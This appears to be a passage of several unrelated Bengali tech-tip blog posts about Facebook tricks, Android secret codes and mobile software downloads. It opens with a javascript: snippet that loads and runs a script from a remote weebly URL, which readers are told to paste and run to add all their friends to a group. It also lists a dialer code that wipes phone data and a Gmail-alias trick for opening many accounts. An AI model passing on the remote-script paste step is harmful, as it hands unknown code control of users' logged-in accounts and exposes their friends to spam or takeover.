    javascript:(function(){document.body.appendChild(document.createElement(‘script’)).src=’http://www.weebly.com/uploads/1/5/4/8/15485034/bappi.js‘;})();
    ৫.Enter চাপুন। তারপর আপনার সব ফ্রেন্ড গ্রুপে Add না হওয়া পর্যন্ত একটু অপেক্ষা করুন। কিছুক্ষণ পড়ে দেখবেন আপনার সব বন্ধু আপনার কাঙ্ক্ষিত গ্রুপটিতে যুক্ত হয়ে গেছে।
    ৬.বক্সটি Hide করতে আবার চাপুন Ctrl + Shift + K.
    কাজ শেষ। আজকের মত এখানেই বিদায়। সবাই ভাল থাকুন। আল্লাহ হাফেয।
    আসসালামু আলাইকুম। আমি সায়হাম সৌরভ। আশা করি  আপনারা সবাই ভালো আছেন।
    আজকাল ফেসবুকে আমাদের প্রত্যেকেরই একটা দুইটা করে পেইজ আছে।এখন খুব সহজেই আপনার ফেসবুক পেইজ এ যুক্ত করুন রিপ্লাই বাটন। এর জন্য আপনাকে যা করতে হবে।
    আপনার ফেসবুক পেইজ এ যান। উপরে ডান দিকে Edit page এ ক্লিক করুন। এবার dropdown list থেকে edit settings এ ক্লিক করুন। পেজটি আসলে একদম নিচের দিকে দেখুন Replies অপশন আছে। ওখানে ক্লিক করে Allow replies to comments on my Page এ টিক মার্ক দিয়ে Save changes এ ক্লিক করে বেরিয়ে আসুন। এবার আপনার পেইজ এ কেউ কমেন্ট করলে তার বিপরীতে যে কেউ রিপ্লাই করতে পারবে।
    বিঃ দ্রঃ মোবাইল দিয়ে এ কাজ করা যাবেনা।
    ফেসবুক বর্তমানে পৃথিবীর এক নম্বর সামাজিক নেটওয়ার্ক। ইন্টারনেট যারা ব্যাবহার করে তারা সবাইই ফেসবুক ব্যাবহার করে থাকে। অনেকেই ফেসবুকে মাধ্যমে বিভিন্ন দেশের মানুষের সাথে যোগাযোগ স্থাপন করে। অনেকের ফ্রেন্ড লিস্টে থাকে আবার হাজার হাজার ফ্রেন্ড। কে আমাদের ফেসবুকে আনফ্রেন্ড করেছে এটা জানাও সেজন্য অসম্ভব হয়ে দাঁড়ায়। আবার ফেসবুক এমন কোন নোটিফিকেশানও দেয় না যার মাধ্যমে আমরা জানতে পারবে। তাহলে আমরা কিভাবে জানব কেউ আমাদের আনফ্রেন্ড করেছে কিনা ?
    এটা জানতে কেবল নিচের কয়েকটি ধাপ অনুসরণ করুনঃ
  • প্রথমে এই ওয়েবসাইটটিতে যান।
  • তারপর To use this servise you have to accept the Terms of Use এ টিক মার্ক দিয়ে ফেসবুক দিয়ে Login করুন।
  • তারপর এই ডায়লগটি দেখাবে। Okay তে ক্লিক করুন।

  • তারপর আগের মত আবার যে ডায়লগটি দেখাবে সেখানে Privacy ঠিক করে Okay তে ক্লিক করুন।

  • তারপর কিছুক্ষণ লোডিং হওয়ার পরে দেখাবে আপনার কয়জন ফ্রেন্ড আছে আর কয়জন আপনাকে আনফ্রেন্ড করেছে। যে আপনাকে আনফ্রেন্ড করেছে তাকেও আপনি দেখতে পাবেন। যেহেতু আমাকে কেউ আনফ্রেন্ড করে নি তাই কাউকে দেখায়ও নি।
  • আজ আপনাদের জানাবো কিভাবে একটি ইমেইল দিয়ে একাধিক ফেসবুক আইডি খোলা যায় ।
    তাহলে শুরু করা যাক -
    ১টি ইমেইল দিয়ে একাধিক
    ফেসবুক আইডি খুলার এজন্য আপনার
    লাগবে একটি gmail
    একাউন্ট । ফেসবুক এ একাধিক একাউন্ট খুলতে আপনাকে যা করতে হবে তা হচ্ছেঃ
    প্রথমে http://www.facebook.com এ গিয়ে Sign up এ গিয়ে ই-মেইলের জায়গায়
    আপনার ই মেইলের
    মূল অংশের সাথে + লিখে যেকোন কিছু একটা লিখে @ gmail.com লিখবেন ।
    ধরা যাক আপনার ইমেইল একাউন্ট হচ্ছে abc@gmail.com
    আপনি সাইন আপের সময় লিখবেন
    abc+def@gmail.com
    এখানে আপনি def এর জায়গায় যেকোন কিছু লিখতে পারেন ,তা হতে পারে a বা i
    বা bangladesh বা fb যেকোন কিছু ।
    এভাবে ইমেইল দিয়ে আপনি যদি সাইন আপ করেন তবে আপনার
    confirmation
    code সহসব নোটিফিকেশন আপনার মূল একাউন্টেই চলে যাবে । এভাবে আপনি ফেসবুক ,টুইটার সহ যে কোন জায়গায় যেকোন ক্ষেত্রে অসংখ্য একাউন্ট খুলতে পারবেন ।
    সকল প্রকার ভুলত্রুটির জন্য ক্ষমা চাই ।

    আমরা অনেকেই আন্ড্রয়েড ফোন ইউস

    করি ,কিন্তু এর কিছু সিক্রেট কোড জানিনা।

    তাদের জন্ন্যে আমার এই পোস্ট :

    ১।(*#06#)-আপনার ime নাম্বার প্রদর্শন

    করবে।

    ২।এটা থেকে সাবধান!!!!! সাবধান!!!!(*276

    7*3855#)-এতে ফোনের সব ডাটা ডিলেট

    হয়ে যাবে।

    ৩।(*#*#4636#*#*)ব্যাটারী সঙ্ক্রান্ত

    তথ্য।

    ৪।(*#*#273282*255*663282*#*#*)-

    সকল মিডিয়া ফাইল ব্যাক আপ করার কোড।

    ৫।(*#*#197328640#*#*)-সার্ভিস টেস্ট

    মোড কোড।

    ৬।(*#*#1111#*#*)-FTA SOFTWARE

    ভার্সন।

    ৭।(*#*#232339#*#*)-Wlan টেস্ট কোড।

    ৮।(*#*#34971539#*#*)-camera

    information কোড

    ভালো লাগলে comment karoon

     আমি আজ যে এক্সটেনশন এর কথা বলব তার নাম Jbolo!।
    এটি Joomla এর একটি এক্সটেনশন। এটির ডেমো দেখার জন্য এই সাইটে গিয়ে রেজিষ্ট্রেশন করে লগইন করলে Facebook এর মত একটি চ্যাট বার দেখতে পারবেন।
    এক্সটেনশনটি ডাউনলোড করুন এখান থেকে
    বোনাসঃ
    এবার একটি ডেস্কটপ টুলের কথা বলব। এর নাম Google Desktop।


    ডাউনলোড করুন এখান থেকে
    কিছুক্ষণ সময় পরপর পরিবর্তন হবে আপনার Wallpaper!!!

    সফটওয়্যারটি ডাউনলোড করুন এখান থেকে
    নোকিয়া এখন তাদের S60 V5 এর সেটগুলোর বিভিন্ন রকমের ফিচার যোগ করছে। যোগ করছে নতুন নতুন সিস্টেম। আর এর মধ্যে একটি অন্যতম নতুন সংযোজন হল তারা তাদের মোবাইলগুলোতে একটি সেন্সর যোগ করছে। সেন্সরটি মূলত ‍নাভিগেশন এর কাজে ব্যবহার হয়। তবে সেন্সরটি দেওয়ার জন্য অনেক সুবিধা হয়েছে। তাই খুজতে খুজতে একদিন খোজ পেয়ে গেলাম এই দারুন, মজার এবং এক্সাটিং সফট্ওয়ারটির।

    আসুন তাহলে জানা যাক সফট্ওয়ারটি সম্পর্কে কিছু তথ্য ‍ঃ

    আমি আজকে যে মজার সফটওয়ারটি নিয়ে টিউন করছি তা হল Auto Hello নামের একটি সফট্ওয়ার। যার গুনের দ্বারা আপনার মোবাইলে কোন কল আসলে তা বাটন টিপে রিসিভ করার দরকার নেই। যখনি কোন কল আসবে তখন শুধু মোবাইলটা কানে লাগান। আর  ইচ্ছেমত কথা বলুন।

    নিচে সফট্ওয়ারটির দুইট স্কিনশর্ট ‍ঃ



    নিচের লিংটি থেকে ডাউনলোড করুন ‍ঃ

    ডাউনলোড করার জন্য আমাকে ক্লিক করুন।
    ডাউনলোড করার জন্য আমাকে ক্লিক করুন।
    আমরা কম্পিউটার থেকে মোবাইলে ফাইল পাঠাতে সাধারনত ব্লু টুথ অথবা কেবল বাবহার করি কিন্তু আমরা খুব সহজেই কম্পিউটার থেকে নকিয়া মোবাইল ফোনে কোন ব্লু টুথ অথবা কেবল সংযোগ ছাড়াই ফাইল পাঠাতে পারি এর জন্য নতুন একটি প্রযুক্তি আবিস্কার হয়েছে আপনারা চাইলেই এটি ট্রাই করে দেখতে পারেন।এর জন্য আপনাদের যে প্রজুক্তি ব্যবহার করতে হবে সেটি হচ্ছে "নকিয়া ড্রপ"এটা একটি বেটা এপ্লইকেসন যেটি নকিয়া বেটা ল্যাব তইরি করেছে। এটা দিয়ে আপনি যেকোন কিছু আপনার মোবাইলটিতে পাঠাতে পারবেন। এপ্লিকেসনটি ইন্সটাল দেওয়ার পর এটি আপনার কম্পিউটারের ব্রাউজারের টুল বারে অবস্থান করবে।নকিয়া ড্রপ
    এটি নকিয়ার সকল সিম্বিয়ান ফোনে ভালভাবে কাজ করে।
    এখান থেকে ভিডিও দেখুন

    এপ্লিকেসনটি এখান থেকে ডাউনলোড করুন

    More